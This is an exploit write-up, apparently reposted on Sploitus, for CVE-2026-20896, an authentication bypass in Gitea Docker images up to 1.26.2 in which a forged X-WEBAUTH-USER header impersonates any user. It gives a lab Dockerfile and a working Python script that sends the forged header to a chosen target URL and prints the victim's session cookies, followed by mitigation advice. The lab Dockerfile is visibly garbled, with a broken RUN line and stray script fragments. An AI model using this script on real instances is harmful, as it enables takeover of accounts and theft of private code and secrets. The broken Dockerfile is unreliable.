Sploitus

Exploit for CVE-2026-20896

githubexploit Β· 2026-08-15

Exploit Code

README170 lines
## https://sploitus.com/exploit?id=2E636F7C-D328-572A-AAAE-86B8C5A6D4B6
# CVE-2026-20896 - Gitea ≀1.26.2 Authentication Bypass
# 1. What is Gitea?

>Gitea is a lightweight, open-source **Git hosting platform** that allows organizations and developers to manage source code repositories, track issues, review changes, and collaborate on software projects. It provides functionality similar to platforms such as **GitHub** and **GitLab**, but is designed to be **self-hosted, efficient, and easy to maintain**, making it suitable for organizations that want greater control over their code and development infrastructure.
# 2. Vulnerability Explanation

>CVE-2026-20896 is a **critical authentication-bypass vulnerability in the official Gitea Docker image**, rated **CVSS 9.8 (Critical)**. It affects Gitea Docker images up to and including **1.26.2**. The underlying issue is an unsafe default configuration: `REVERSE_PROXY_TRUSTED_PROXIES = *`, which causes Gitea to trust reverse-proxy authentication headers originating from any IP address. When reverse-proxy authentication is enabled, an unauthenticated remote attacker can therefore supply a forged `X-WEBAUTH-USER` header and have Gitea treat the attacker as the specified user. In particular, impersonating an administrator can result in complete administrative access without requiring a password or valid authentication token.

>The potential impact is **severe**, because administrative access to Gitea can expose private source-code repositories, credentials and CI/CD secrets, and allow modification of repositories, SSH keys, webhooks, and other security-sensitive settings. The vulnerability is specifically relevant to deployments using the affected Docker image together with reverse-proxy authentication; it is not simply a flaw in Gitea's normal password authentication mechanism. Gitea addressed the issue in **version 1.26.3**, and administrators should upgrade to a current patched release and review their reverse-proxy trust configuration rather than relying on the insecure wildcard setting. Reports have also indicated exploitation attempts against exposed Gitea instances, making prompt remediation particularly important.
## CWEs

- [CWE-284 – Improper Access Control.](https://cwe.mitre.org/data/definitions/284.html)
## TTPs

- [T1078 (Valid Accounts)](https://attack.mitre.org/techniques/T1078/)
- [T1190 (Exploit Public-Facing Application)](https://attack.mitre.org/techniques/T1190/)
# 3. Lab Creation

>We will run a **Docker Container** using a vulnerable version of **Gitea**, in this case the **1.26.2** version using the following **Dockerfile**:

```Dockerfile
FROM gitea/gitea:1.26.2

# Reverse-proxy authentication must be enabled to reproduce the vulnerable
# authentication flow described by CVE-2026-20896.
ENV GITEA__database__DB_TYPE=sqlite3 \
    GITEA__database__PATH=/data/gitea/gitea.db \
    GITEA__security__INSTALL_LOCK=true \
    GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true

RUN  /usr/local/bin/lab-entrypoint /dev/null || true' TERM INT

# Wait until Gitea is ready before creating the lab account.
until curl -fsS "$URL/api/healthz" >/dev/null 2>&1; do
    sleep 1
done

# Create a local administrator account for vulnerability verification.
su-exec git gitea admin user create \
    --config "$CONFIG" \
    --username jbkira \
    --password "$ADMIN_PASSWORD" \
    --email jbkira@jbkira.com \
    --admin \
    --must-change-password=false \
    >/dev/null

wait "$pid"
SCRIPT

chmod +x /usr/local/bin/lab-entrypoint
EOF

ENTRYPOINT ["/usr/local/bin/lab-entrypoint"]
```

>Then to build the docker container use the following command:

```bash
docker build -t gitea-cve-2026-20896-lab .
```

>Finally, deploy the docker container using the following command:

```bash
docker run -d --name gitea-cve-2026-20896 -p 3000:3000 gitea-cve-2026-20896-lab
```
# 4.  Proof of Concept

>If we know the name of any user on the Gitea instance, we can impersonate it abusing the header `X-WEBAUTH-USER: username`, in this lab, we created a user called **jbkira** so we will capture a normal unauthenticated access to the mainpage of Gitea using a proxy, for example I will be using **BurpSuite** and we will put the header:

![[Pasted image 20260815154949.png]]

>If we forward that request with the `X-WEBAUTH-USER` header, when we go again to the Gitea page on our browser we will see that we are now **logged in** as the **jbkira** user. But it doesn't work always that way, so I created a **PoC Script** that performs the attack and **steals the target user's session cookie**, that you can then copy and paste it into your browser to get access to the target user. 
# 5. Automated PoC Script

>Automated PoC in Python that abuses the **Authentication Bypass** flaw and **steals the session cookie** of the **target user**:

```python
import requests
import argparse

# Color codes for terminal output
GREEN = "\033[92m"
RED = "\033[91m"
YELLOW = "\033[93m"
ORANGE = "\033[33m"
BLUE = "\033[94m"
RESET = "\033[0m"

def attack(url, target_user):

    METHOD = "GET"
    HEADERS = {
        "User-Agent": "Mozilla/5.0",
        "X-WEBAUTH-USER": f"{target_user}",
    }

    resp = requests.request(method=METHOD,url=url,headers=HEADERS,verify=False)
    
    print(f"[+] Status code: {resp.status_code}\n")
    
    # Cookies that the server has set (via Set-Cookie)
    if resp.cookies:
        print(f"{GREEN}[+] Cookies retrieved for user {target_user}:{RESET}")
        for cookie in resp.cookies:
            print(f"    {cookie.name} = {cookie.value}")
    else:
        print(f"{RED}[-] The server has not returned any cookies.{RESET}")

def argparse_setup():
    parser = argparse.ArgumentParser(description="Exploit for Gitea Authentication Bypass (CVE-2026-20896) created by JBKira")
    parser.add_argument("-u", "--url", help="Target URL (e.g., http://targetIP:3000/)", required=True)
    parser.add_argument("-t", "--target-user", help="Target user for authentication bypass", required=True)
    return parser.parse_args()

def banner():
    print(f"{YELLOW}")
    print(r"""
        β–ˆβ–ˆβ–ˆ  β–ˆ   β–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ       β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ        β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ  
       β–ˆ     β–ˆ   β–ˆ β–ˆ          β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ          β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ     
       β–ˆ     β–ˆ   β–ˆ β–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ    β–ˆ  β–ˆ   β–ˆ    β–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ    β–ˆ  β–ˆ   β–ˆ  β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆ  
       β–ˆ      β–ˆ β–ˆ  β–ˆ            β–ˆ   β–ˆ   β–ˆ   β–ˆ   β–ˆ   β–ˆ        β–ˆ   β–ˆ   β–ˆ β–ˆ   β–ˆ     β–ˆ β–ˆ   β–ˆ 
        β–ˆβ–ˆβ–ˆ    β–ˆ   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ      β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ       β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ                                                                                                                                                                     
    """)
    print(f"CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira{RESET}")
    print(f"{ORANGE}github.com/judgedbykira{RESET} | {BLUE}linkedin.com/in/yeray-medina{RESET}")
    print(f"Only use this in real penetration tests or lab environments. Unauthorized use is illegal.\n")

def main():
    banner()
    args = argparse_setup()
    attack(args.url, args.target_user)

if __name__ == "__main__":
    main()
```

>Example usage:

```bash
β”Œβ”€β”€(kaliγ‰Ώjbkira)-[~/Desktop/PoCs/gitea-CVE-2026-20896]
└─$ python3 poc.py -u http://localhost:3000 -t jbkira


        β–ˆβ–ˆβ–ˆ  β–ˆ   β–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ       β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ        β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ  
       β–ˆ     β–ˆ   β–ˆ β–ˆ          β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ          β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ   β–ˆ β–ˆ     
       β–ˆ     β–ˆ   β–ˆ β–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ    β–ˆ  β–ˆ   β–ˆ    β–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ    β–ˆ  β–ˆ   β–ˆ  β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆ  
       β–ˆ      β–ˆ β–ˆ  β–ˆ            β–ˆ   β–ˆ   β–ˆ   β–ˆ   β–ˆ   β–ˆ        β–ˆ   β–ˆ   β–ˆ β–ˆ   β–ˆ     β–ˆ β–ˆ   β–ˆ 
        β–ˆβ–ˆβ–ˆ    β–ˆ   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ      β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ       β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ                                                                                                                                                                     
    
CVE-2026-20896 Exploit for Gitea Authentication Bypass created by JBKira
github.com/judgedbykira | linkedin.com/in/yeray-medina
Only use this in real penetration tests or lab environments. Unauthorized use is illegal.

[+] Status code: 200

[+] Cookies retrieved for user jbkira:
    i_like_gitea = e12680e9c4e6e894
    lang = en-US
```

# 6. Mitigation

>The primary mitigation for **CVE-2026-20896** is to upgrade Gitea from **1.26.2 or earlier to 1.26.3 or later**, as 1.26.3 contains the security fix for this vulnerability. If an immediate upgrade is not possible, administrators should explicitly configure `REVERSE_PROXY_TRUSTED_PROXIES` to contain **only the IP address or subnet of the legitimate authenticating reverse proxy**, rather than `*`, and ensure that Gitea's HTTP port cannot be reached directly by untrusted clients. This is particularly important when `ENABLE_REVERSE_PROXY_AUTHENTICATION=true`, because the vulnerability allows an untrusted source to inject `X-WEBAUTH-USER` and impersonate existing users.

# 7. Credits

>Credits for Ali Mustafa @rz1027 for discovering and disclosing the vulnerability.